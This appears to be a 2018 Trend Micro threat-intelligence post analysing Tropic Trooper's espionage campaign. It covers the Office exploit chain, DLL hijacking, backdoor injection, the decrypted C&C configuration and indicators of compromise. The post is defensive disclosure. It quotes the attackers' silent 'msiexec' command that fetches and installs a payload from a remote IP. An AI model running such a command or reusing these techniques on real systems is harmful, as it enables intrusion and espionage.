# Tropic Trooper’s New Strategy

**[blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/](https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/)**

March 14, 2018

[Tropic Trooper (also known as KeyBoy) levels its campaigns against Taiwanese, Philippine,](https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-tropic-trooper-infiltrates-secret-keepers)
and Hong Kong targets, focusing on their government, healthcare, transportation, and hightech industries. Its operators are believed to be very organized and develop their own
cyberespionage tools that they fine-tuned in their recent campaigns. Many of the tools they
use now feature new behaviors, including a change in the way they maintain a foothold in the
targeted network.

**Attack Chain**

Figure 1. Attack chain of Tropic Trooper’s operations

Here’s a summary of the attack chain of Tropic Trooper’s recent campaigns:

[1. Execute a command through exploits for CVE-2017-11882 or](https://blog.trendmicro.com/trendlabs-security-intelligence/cve-2017-11882-exploited-deliver-cracked-version-loki-infostealer/) [CVE-2018-0802, security](https://blog.trendmicro.com/trendlabs-security-intelligence/januarys-patch-tuesday-fixes-56-security-issues-including-meltdown-spectre/)

flaws in Microsoft Office’s Equation Editor (EQNEDT32.EXE).
2. Download an installer package (.msi) and install it on the system by executing the

command: /c msiexec /q /i [hxxp://61[.]216[.]5[.]24/in.sys]).


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3. This system configuration file (in.sys) will drop a backdoor installer (UserInstall.exe)

then delete itself. The backdoor installer will drop a normal sidebar.exe file (a Windows
[Gadget tool, a feature already discontinued by Windows), a malicious loader (in](https://support.microsoft.com/en-ph/help/13787/gadgets-have-been-discontinued)
_"C:\ProgramData\Apple\Update\wab32res.dll"), and an encrypted configuration file._
_[UserInstall.exe will abuse the BITSadmin command-line tool to create a job and launch](https://msdn.microsoft.com/en-us/library/windows/desktop/aa362813(v=vs.85).aspx)_
_sidebar.exe._
4. The malicious loader will use dynamic-link library (DLL) hijacking — injecting malicious

code into a process of a file/application — on sidebar.exe and launch dllhost.exe (a
normal file). The loader will then inject a DLL backdoor into dllhost.exe.

We also observed malicious documents that don’t need to download anything from the
internet as the backdoor’s dropper is already embedded in the document. This, however,
doesn’t influence the overall result for the victim.

The backdoor will load the encrypted configuration file and decrypt it, then use Secure
Sockets Layer (SSL) protocol to connect to command-and-control (C&C) servers.

Tropic Trooper uses exploit-laden Microsoft Office documents to deliver malware to targets.
These documents use job vacancies in organizations that may be deemed socio-politically
sensitive to recipients. Below is a screenshot of the document used in their latest campaigns:

Figure 2. Malicious document used by Tropic Trooper

**PDB Strings as Context Clues**

The MSI file has two program database (PDB) strings inside: one belonging to the MSI file,
and another for the backdoor installer (detected by Trend Micro as TROJ_TCDROP.ZTFB).

Figure 3. PDB strings inside the MSI file

The first PDB string has a certain ss2/Projects/MsiWrapper (Project MsiWrapper) in it, which
we found to be an open-source application that converts executable setup programs to MSI
files. The second PDB string contains Work, House, and TSSL: we can assume this tool
belongs to Tropic Trooper’s TSSL project as [seen by other researchers. Here it is a new one,](https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html)
as seen in their misspelling of “Horse” to “House” (other reports had the string typed
correctly).

Another interesting PDB string we found is

- D:\Work\Project\VS\house\Apple\Apple_20180115\Release\InstallClient.pdb. At installation,
the MSI file drops three files and creates one hidden directory (UFile) into
_C:\ProgramData\Apple\Update\, likely as a ruse._

It would then use sidebar.exe to load the malicious wab32res.dll (TROJ_TCLT.ZDFB)
through DLL hijacking. This is carried out to evade antivirus (AV) detection, because
_wab32res.dll is loaded by a benign file._


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Figure 4. The installer drops three files into the Apple/Update directory

Figure 5. PDB strings inside the loader file

From the PDB string above, the attackers intended it to be a loader (hence the name
_FakeRun) and not the actual backdoor. FakeRun’s PDB string_
(D:\Work\Project\VS\house\Apple\Apple_20180115\Release\FakeRun.pdb) indicates the
loader will execute dllhost.exe and inject one malicious DLL file, which is the backdoor, into
this process. The backdoor, TClient (BKDR_TCLT.ZDFB), is so named from its own PDB
string.

Figure 6. TClient is injected into dllhost.exe

**Malware Analysis**

_wab32res.dll (FakeRun loader) loads TClient. Once the loader is executed, it will check the_
current process (sidebar.exe) whether to load it or not. Successfully checking the loader will
execute the dllhost.exe process and create a hardcode mutex to avoid injecting it into the
wrong dllhost.exe, as there can be multiple instances of it depending on the number of
[programs using the Internet Information Services.](https://msdn.microsoft.com/en-us/library/ms524990(v=vs.90).aspx)

Figure 7. The loader checking the sidebar process

Figure 8. The malicious loader injecting the backdoor into dllhost.exe

Figure 9. Comparison of TClient’s configuration format in 2016 (left, from other
[researchers) and 2018 (right)](https://citizenlab.ca/2016/11/parliament-keyboy/)

TClient will use SSL to connect to Tropic Trooper’s C&C server. However, the C&C server
and some configuration values are not hardcoded in the backdoor. This allows Tropic
Trooper’s operators to easily change/update the C&C server and configure other values.

TClient is actually one of Tropic Trooper’s other backdoors. The backdoor noted by other
security researchers was encoded with different algorithms and configured with different
parameter names in 2016, for instance. TClient uses symmetric encryption to decrypt its
configuration with one 16-byte key in 2018. The image and table below illustrate TClient’s
encrypted configuration that we decrypted (via Python code):

Figure 10. Snapshot of code we used to decrypt TClient’s configuration

Figure 11. Encrypted backdoor configuration

**Description** **Decryption Strings**


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Check code MDDEFGEGETGIZ

Addr1: tel.qpoe[.]com

Addr2: elderscrolls.wikaba[.]com

Addr3: tel.qpoe[.]com

Port1: 443

Port2: 443

Port3: 53

LoginPasswd: someone

HostMark: mark

Proxy: 0

Figure 12. Decrypted backdoor configuration

Reverse analysis of TClient allowed us to determine how to decrypt the C&C information.
TClient will use custom SSL libraries to connect the C&C server. We also found another SSL
certificate on this C&C server. A closer look reveals that it was registered quite recently, and
is set to expire after a year, suggesting Tropic Trooper’s use or abuse of components or
services that elapse so they can leave as few traces as possible.

Figure 13. SSL certificate’s validity

**Following Tropic Trooper’s Trails**

We further monitored their activities and found three additional and notable PDB strings in
their malware:

D:\Work\Project\VS\HSSL\HSSL_Unicode _2\Release\ServiceClient.pdb
D:\Work\VS\Horse\TSSL\TSSL_v3.0\TClient\Release\TClient.pdb
D:\Work\VS\Horse\TSSL\TSSL_v0.3.1_20170722\TClient\x64\Release\TClient.pdb

These came from open-intelligence platforms and incident response cases. These strings
shed further light on Tropic Trooper’s operations:

They have another campaign/project named HSSL, which supports Unicode
characters.
The TSSL project has a v3.0 version, indicating the operators can mix and match
different versions of their malware, depending on their target.
The TSSL project has 64-bit version.


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**The Need for a Proactive Incident Response Strategy**

Cyberespionage campaigns are persistent and, as shown by Tropic Trooper, always raring to
exploit weaknesses in people and technology. For organizations, this highlights the
significance of staying ahead of their attackers: detect, analyze, and respond. What
techniques will they use? How can my organization’s attack surface be reduced? What did I
do to respond to the threat — what worked, what didn’t, and what could be fine-tuned?

A [proactive incident response strategy provides threat intelligence — from the endpoint to](http://blog.trendmicro.com/trendlabs-security-intelligence/four-steps-to-an-effective-targeted-attack-response/)
the network — that can let IT/system administrators identify malicious activities that aren’t
typically visible to traditional security solutions.

TClient, for instance, uses DLL hijacking and injection that may not be as noticeable to
others. Its use of the SSL protocol also means it can blend with legitimate traffic. Analyzing
their PDB strings can also provide a deeper insight into the campaign’s bigger picture.
Ascertaining the tactics and techniques they use empower organizations in developing
robust and actionable indicators of compromise (IoCs) that can act as benchmarks for
response.

Here are some best practices that organizations can adopt:

Keep the system, its applications, and the network updated. The vulnerabilities that
[Tropic Trooper’s campaigns have been patched last January, for instance. Enforce a](https://blog.trendmicro.com/trendlabs-security-intelligence/januarys-patch-tuesday-fixes-56-security-issues-including-meltdown-spectre/)
[stronger patch management policy, and consider virtual patching for legacy systems.](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/patching-problems-and-how-to-solve-them)
[Enforce the principle of least privilege: Employ network segmentation and](https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/protecting-data-through-network-segmentation) data
categorization to deter lateral movement and mitigate further exposure. Application
control and behavior monitoring block suspicious files and anomalous routines from
being installed or executed in the system.
[Disable or secure the use of system administration tools such as](https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/best-practices-securing-sysadmin-tools) [PowerShell and other](https://www.trendmicro.com/vinfo/us/security/news/security-technology/security-101-the-rise-of-fileless-threats-that-abuse-powershell)
[command-line tools that may be abused.](https://www.trendmicro.com/vinfo/us/security/news/security-technology/2017-notably-abused-system-administration-tools-and-protocols)
Actively monitor your perimeter, from gateways and endpoints to networks and servers.
[Firewalls as well as intrusion detection and prevention systems help thwart network-](https://blog.trendmicro.com/en_us/business/products/network/intrusion-prevention.html)
based attacks.
Nurture a culture of cybersecurity. Spear-phishing emails, for instance, rely on baiting
targets with socially engineered documents. The technologies that help protect the
organization are only as good as the people who use them.

**Indicators of Compromise (IoCs)**

_Related Hashes (SHA-256):_ Detected as CVE-2018-0802.ZTFC:

1d128fd61c2c121d9f2e1628630833172427e5d486cdd4b6d567b7bdac13935e

BKDR_TCLT.ZDFB:


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01087051f41df7bb030256c97497f69bc5b5551829da81b8db3f46ba622d8a69

BKDR64_TCLT.ZTFB:

6e900e5b6dc4f21a004c5b5908c81f055db0d7026b3c5e105708586f85d3e334

TROJ_SCLT.ZTFB:

49df4fec76a0ffaee5e4d933a734126c1a7b32d1c9cb5ab22a868e8bfc653245

TROJ_TCDROP.ZTFB:

b0f120b11f727f197353bc2c98d606ed08a06f14a1c012d3db6fe0a812df528a
d65f809f7684b28a6fa2d9397582f350318027999be3acf1241ff44d4df36a3a
85d32cb3ae046a38254b953a00b37bb87047ec435edb0ce359a867447ee30f8b

TROJ_TCLT.ZDFB:

02281e26e89b61d84e2df66a0eeb729c5babd94607b1422505cd388843dd5456
fb9c9cbf6925de8c7b6ce8e7a8d5290e628be0b82a58f3e968426c0f734f38f6

_URLs related to C&C communication:_

qpoe[.]com
wikaba[.]com
tibetnews[.]today
dns-stuff[.]com
2waky[.]com

APT & Targeted Attacks

Tropic Trooper (also known as KeyBoy) levels its campaigns against Taiwanese, Philippine,
and Hong Kong targets. Many of the tools they use now feature new behaviors, including a
change in the way they maintain a foothold in the targeted network.

By: Jaromir Horejsi, Joey Chen, Joseph C Chen March 14, 2018 Read time: ( words)

Content added to Folio


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